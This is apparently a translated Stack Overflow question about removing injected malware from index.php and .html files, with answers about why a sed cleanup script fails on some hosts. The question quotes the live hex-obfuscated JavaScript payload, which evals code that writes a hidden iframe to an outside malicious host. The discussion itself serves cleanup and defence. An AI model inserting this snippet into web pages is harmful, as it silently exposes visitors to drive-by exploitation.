最近我一直试图在我的服务器上修复大量病毒,我怀疑是由于Blackhole工具包。它将一个js-script附加到index.php和.html文件的末尾,看起来像这样..
<script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6578706c6f726574726176656c6e757273696e672e636f6d2f6e6577732e7068703f74703d66646661336165353965343464313930222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script>
它是标准iframe病毒的编码版本。我一直试图通过运行如下所示的PHP脚本来删除它。 (这是堆栈溢出的解决方案)。
$dir = "./";
$removejs = `find $dir -name "*.php" -type f |xargs sed -i '<script>var t=.*eval.*script>##g' 2>&1`;
问题是,该脚本适用于某些服务器,而其他服务器似乎没有任何效果。有谁知道为什么?我已经尝试过至少10个独立的虚拟主机。该脚本仅在大约3台主机上成功运行。其余的都没有做任何事情。我需要更改哪些设置?
感谢我能得到的任何帮助。谢谢!
答案 0 :(得分:1)
您正在使用的某些主机可能已禁用shell函数(exec
,shell_exec
,system
等),可能是通过PHP臭名昭着的safe_mode
配置选项。您需要在纯PHP中重写脚本,或者找到另一种方法来去除插入的内容。
答案 1 :(得分:1)
如果您正在使用http请求正确运行此脚本,即它由具有nobody
或apache
等用户权限的网络服务器运行,则使用sed -i
命令由于权限不足,此脚本无法更改find
找到的文件中的任何内容。
您的PHP安装可能会禁用反引号和/或任何其他形式的命令执行,因为它通常是直接安全威胁(使用safe_mode
,使用PHP suhosin补丁指令等)。
您最好的选择是检查未执行此脚本的主机上的网络服务器日志。